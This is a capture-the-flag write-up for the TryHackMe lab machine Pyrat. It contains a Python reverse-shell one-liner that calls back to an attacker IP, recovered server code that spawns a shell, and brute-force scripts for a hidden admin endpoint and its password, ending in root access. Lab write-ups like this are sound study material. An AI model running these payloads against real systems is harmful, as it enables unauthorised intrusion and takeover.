Pyrat
Writeup for the TryHackMe machine Pyrat
Recon
nmap
nmap finds two open ports: SHH (22) and HTTP (8000).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
HTTP - TCP 8000
Accessing the web server returns the message: Try a more basic connection!.
Shell as www-data
Connecting via nc:
1
2
3
4
5
6
$ nc -v pyrat.thm 8000
pyrat.thm [10.10.100.146] 8000 (?) open
'
EOL while scanning string literal (<string>, line 1)
print('hello world')
hello world
The output suggests that the input is being executed as Python code. Since the Server header indicates Python is being used, I send a reverse shell one-liner:
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.x.x.x",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
Shell as think
The file /opt/dev/.git/config contains the password for the user think. I use this password to SSH into the machine as think.
Shell as root
Inspecting the Git repository shows that a file was deleted. I recover it:
1
2
3
4
5
6
7
8
9
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
think@Pyrat:/opt/dev$ git restore pyrat.py.old
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
The code suggests a hidden admin endpoint that allows shell access. I write a script to brute-force the endpoint name:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <wordlist>")
exit()
with open(sys.argv[1]) as f:
endpoints = [line for line in f.read().splitlines() if line and not line.startswith("#")]
for endpoint in endpoints:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("pyrat.thm", 8000))
s.sendall(endpoint.encode() + b"\n")
resp = s.recv(1024).decode()
if "is not defined" not in resp:
print(endpoint)
Once the correct endpoint is found, it prompts for a password. I brute-force that next:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <wordlist>")
exit()
with open(sys.argv[1]) as f:
passwords = [line for line in f.read().splitlines() if line and not line.startswith("#")]
for password in passwords:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("pyrat.thm", 8000))
s.sendall(b"<REDACTED>\n") # send endpoint
s.recv(1024) # receive password prompt
s.sendall(password.encode() + b"\n")
resp = s.recv(1024).decode()
if "Password:" not in resp:
print(password)
break
Using the discovered password and endpoint, I gain a root shell.